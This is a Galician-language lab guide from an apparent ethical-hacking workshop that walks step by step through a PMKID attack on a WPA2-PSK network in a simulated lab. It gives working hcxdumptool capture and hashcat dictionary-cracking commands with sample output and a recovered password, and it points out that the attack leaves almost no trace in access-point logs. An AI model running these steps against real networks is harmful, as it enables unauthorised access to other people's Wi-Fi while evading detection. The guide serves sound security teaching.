Ir ao contido

Guía de Práctica 1.3: Ataque PMKID a WPA2-PSK

Baseada na práctica 1-Taller-HE-Practica-WiFi-3.pdf

1. Contexto

Nesta práctica aprenderás unha técnica moderna de auditoría WPA2-PSK que é moito menos intrusiva que o ataque de handshake tradicional. O PMKID é un identificador incluído no primeiro paquete EAPOL que o AP envía, e permite auditar o contrasinal sen necesidade de deautenticar clientes lexítimos.

Vantaxes principais sobre Práctica 1.1:
- NON require deautenticación → Cliente lexítimo NON se entera do ataque
- Captura en 15-30 segundos (máis rápida que handshake tradicional)
- NON require capturar 4 paquetes EAPOL (só 1 é suficiente)
- Moito menos intrusivo → Cliente mantén conexión activa

Nota técnica sobre clientes: Na práctica, algúns APs (incluído hostapd) só envían PMKID cando hai polo menos un cliente lexítimo con sesión activa (PTK establecida). Isto débese a que o AP só calcula/cachea a PMK despois da primeira autenticación exitosa dun cliente. Por iso, nesta práctica usamos o escenario psk que ten un cliente lexítimo (wlan1) conectado.

Diferenza clave con Práctica 1.1:
- Práctica 1.1: Deautenticamos ao cliente → Cliente perde conexión
- Práctica 1.3: Cliente mantén conexión → Ataque silencioso ✓


2. Preparación do Escenario (Terminal 1)

Arranca o laboratorio para despregar o AP lexítimo (EMPRESA-XYZ) con cliente conectado.

sudo wifilabctl up psk
sudo wifilabctl status

Nota Importante sobre PMKID

Aínda que o ataque PMKID non require que O ATACANTE sexa un cliente lexítimo (non necesita o contrasinal previamente), algúns APs só envían o PMKID cando hai polo menos unha asociación activa no AP. Por iso, nesta práctica:

  • Usamos o escenario psk que ten un cliente lexítimo (wlan1) conectado
  • O cliente lexítimo mantén o AP "activo" e a PMK cacheada
  • O atacante (wlan2) envía Association Requests e recibe PMKID
  • NON precisamos deautenticar ao cliente (diferenza clave con Práctica 1.1)
  • NON precisamos esperar por handshakes completos (captura en segundos)

Vantaxe sobre Práctica 1.1:
- Práctica 1.1: Require deautenticación → Cliente perde conexión temporalmente
- Práctica 1.3: NON require deautenticación → Cliente NON se entera do ataque


3. Recoñecemento e Modo Monitor (Terminal 1)

Pon a túa tarxeta Wi-Fi de ataque (wlan2) en modo monitor.

sudo airmon-ng start wlan2
sudo airodump-ng wlan2mon
Anota a Canle (6) do AP obxectivo (EMPRESA-XYZ).

Preme Ctrl+C para deter airodump-ng.


4. Captura de PMKID (Terminal 1)

Usa hcxdumptool para capturar o PMKID directamente do AP.

# Crear directorio para capturas
mkdir -p ~/capturas-pmkid
cd ~/capturas-pmkid

# Capturar PMKID do AP no canal 6
sudo hcxdumptool -i wlan2mon -w captura_pmkid.pcapng -c 6a --rds=1

Parámetros importantes:
- -c 6a: Canal 6 en modo activo (envía association requests ao AP)
- --rds=1: Mostrar estado en tempo real

Saída esperada durante a captura:

CHA|  LAST  |EA123P|   MAC-CL   |   MAC-AP   |ESSID
  6|13:55:00|ep+++ |1eb9fa94c722|9e7dc6f0151f|EMPRESA-XYZ

Significado de ep+++:
- e = EAPOL capturado ✓
- p = PMKID capturado ✓
- +++ = Boa calidade

Cando vexas ep+++, preme Ctrl+C para deter. A captura tarda só 15-30 segundos.


5. Conversión a Formato hashcat (Terminal 1)

Converte o ficheiro capturado a formato que hashcat entende.

# Converter captura
hcxpcapngtool -o captura_pmkid.hc22000 captura_pmkid.pcapng

# Verificar que se xerou correctamente
cat captura_pmkid.hc22000

Saída esperada:

WPA*02*60d9443cc2379bd16ff29371e8aeea87*a6c49421b094*2e2e65aef8ed*454d50524553412d58595a*209c3cccbc531952b5351c647288ac30ca493f7c3aba497c6fb5de9642955dbb*0103007502010a0000000000000000f7b8949a7f3bd65f6f7d7e081f447056fee05f3f40ff2c4f8a24af6a37861d25ad8d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*10

Formato: WPA*02*PMKID*MAC_AP*MAC_STA*ESSID(hex)*EAPOL_data*...

Nota: O formato 22000 de hashcat inclúe tanto PMKID como datos EAPOL completos para máxima compatibilidade.


6. Cracking con hashcat (Terminal 1)

Agora imos crackear o PMKID capturado.

Paso 1: Preparar o dicionario

sudo gunzip -c /usr/share/wordlists/rockyou.txt.gz > /tmp/rockyou.txt

Paso 2: Lanzar o ataque

hashcat -m 22000 captura_pmkid.hc22000 /tmp/rockyou.txt

Se o ataque ten éxito, verás: Status: Cracked

60d9443cc2379bd16ff29371e8aeea87*a6c49421b094*2e2e65aef8ed*454d50524553412d58595a*...:spongebob19

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Time.Started.....: Sat Feb 14 13:57:25 2026 (21 secs)
Speed.#01........:     4493 H/s
Progress.........: 234139/14344385 (1.63%)

Paso 3: Ver o contrasinal recuperado

hashcat -m 22000 captura_pmkid.hc22000 /tmp/rockyou.txt --show

Resultado esperado:

60d9443cc2379bd16ff29371e8aeea87*a6c49421b094*2e2e65aef8ed*454d50524553412d58595a*...:spongebob19

Contrasinal: spongebob19


7. Comparación con Práctica 1.1 (Handshake Tradicional)

Práctica 1.1 (Handshake 4-Way):

1. airodump-ng (esperar por clientes)
2. aireplay-ng (forzar deautenticación)
3. Capturar 4 paquetes EAPOL (1/4, 2/4, 3/4, 4/4)
4. aircrack-ng ou hashcat

Tempo: Variable (minutos/horas)

Práctica 1.3 (PMKID):

1. hcxdumptool (captura activa en modo monitor)
2. 1 paquete EAPOL con PMKID
3. hashcat

Tempo: 15-60 segundos

Conclusión: PMKID é moito máis rápido e sigiloso porque non require deautenticar ao cliente lexítimo.


8. Observación Técnica

Por que funciona PMKID?

O PMKID é un hash que o AP envía no primeiro paquete EAPOL:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" || MAC_AP || MAC_STA)

Como deriva do PMK (Pairwise Master Key), igual que o handshake tradicional, permite auditar o contrasinal da mesma forma.

Por que precisa cliente lexítimo conectado?

Explicación técnica:
1. O PMKID deriva da PMK (PMK = PBKDF2(contrasinal, SSID))
2. Algúns APs (incluído hostapd) só calculan e cachean a PMK despois de completar o primeiro 4-way handshake exitoso dun cliente lexítimo
3. Sen PMK cacheada, o AP non pode xerar nin enviar o PMKID ao atacante
4. Por iso, necesitamos que wlan1 (cliente lexítimo) estea conectado primeiro

Secuencia:

1. wlan1 (cliente) → Autentica con contrasinal → 4-way handshake completo
2. AP → Calcula PMK = PBKDF2("spongebob19", "EMPRESA-XYZ")
3. AP → Cachea PMK en memoria
4. wlan2 (atacante) → Envía Association Request (MAC efémera aleatoria)
5. AP → Xera PMKID = HMAC-SHA1-128(PMK_cacheada, ...)
6. AP → Envía PMKID ao atacante ✓

Limitacións

  1. Require cliente lexítimo activo (en hostapd e algúns APs comerciais)
  2. Mesmo esforzo de cracking: Contrasinais fortes (>20 chars) son igual de resistentes
  3. Rastro nos logs limitado: hcxdumptool usa MACs efémeras aleatorias, polo que o rastro é mínimo e indistinguible de actividade normal

Vantaxe Real sobre Práctica 1.1

Aínda que precisa cliente conectado, NON precisa deautenticalo:
- Práctica 1.1: Cliente perde conexión durante segundos → Detectable nos logs (deauthentication)
- Práctica 1.3: Cliente mantén conexión → Ataque sigiloso ✓


9. Verificación nos Logs (Opcional)

Podes examinar os logs do AP para entender o rastro real que deixa o ataque PMKID:

# Ver logs do AP - conexións rexistradas
sudo ip netns exec wifi_ap_wlan0 grep "AP-STA-CONNECTED\|associated" /home/kali/wifiLab/run/psk/hostapd.log

Resultado real que verás:

wlan0: STA 2e:2e:65:ae:f8:ed IEEE 802.11: associated (aid 1)
wlan0: AP-STA-CONNECTED 2e:2e:65:ae:f8:ed

⚠️ Interpretación correcta dos logs:

O que aparece nos logs é a MAC de wlan1 (o cliente lexítimo), NON a do atacante. Podes confirmalo:

# Verificar que esa MAC pertence ao cliente lexítimo (wlan1)
sudo ip netns exec wifi_cliente_wlan1 ip addr show wlan1

Verás que a MAC coincide con wlan1, o cliente lexítimo do escenario psk.

Por que non aparece a MAC do atacante?

hcxdumptool opera en modo monitor e envía frames de asociación con MACs efémeras aleatorias xeradas en tempo real. O AP procesa eses frames ao nivel 802.11 para entregar o PMKID, pero a asociación é tan breve que hostapd normalmente non a rexistra como AP-STA-CONNECTED nos logs de nivel normal.

Isto é moi diferente da Práctica 1.1, onde a deautenticación deixa entradas claras e inconfundibles:

# O que verías nos logs da Práctica 1.1 (NON desta práctica):
wlan0: deauthentication: STA=xx:xx:xx:xx:xx:xx reason_code=7
wlan0: Station xx:xx:xx:xx:xx:xx trying to deauthenticate, but it is not authenticated

Conclusión sobre rastro forense:

Ataque Rastro en logs do AP Detectabilidade
Práctica 1.1 (deauth + handshake) Entradas deauthentication explícitas Alta ⚠️
Práctica 1.3 (PMKID) Só a conexión normal de wlan1 (cliente lexítimo) Moi baixa ✓

O ataque PMKID é considerablemente máis silencioso desde o punto de vista forense: os logs do AP só mostran a actividade normal do cliente lexítimo, sen ningunha entrada que delate ao atacante.


10. Limpeza

Ao rematar, apaga o escenario.

sudo wifilabctl reset

# Eliminar capturas (opcional)
rm -rf ~/capturas-pmkid

# Desactivar modo monitor
sudo airmon-ng stop wlan2mon

Notas Finais

Ferramentas Necesarias (xa instaladas en Kali)

  • hcxdumptool >= 7.0.0
  • hcxpcapngtool (parte de hcxtools)
  • hashcat

Recomendacións de Seguridade

  1. Para administradores: Usar contrasinais fortes (>20 caracteres aleatorios)
  2. Migrar a WPA3-SAE: WPA3 é inmune a ataques de dicionario offline (ver Práctica 3.1)
  3. Activar PMF: Aínda que non protexe contra PMKID, dificulta outros ataques

Referencias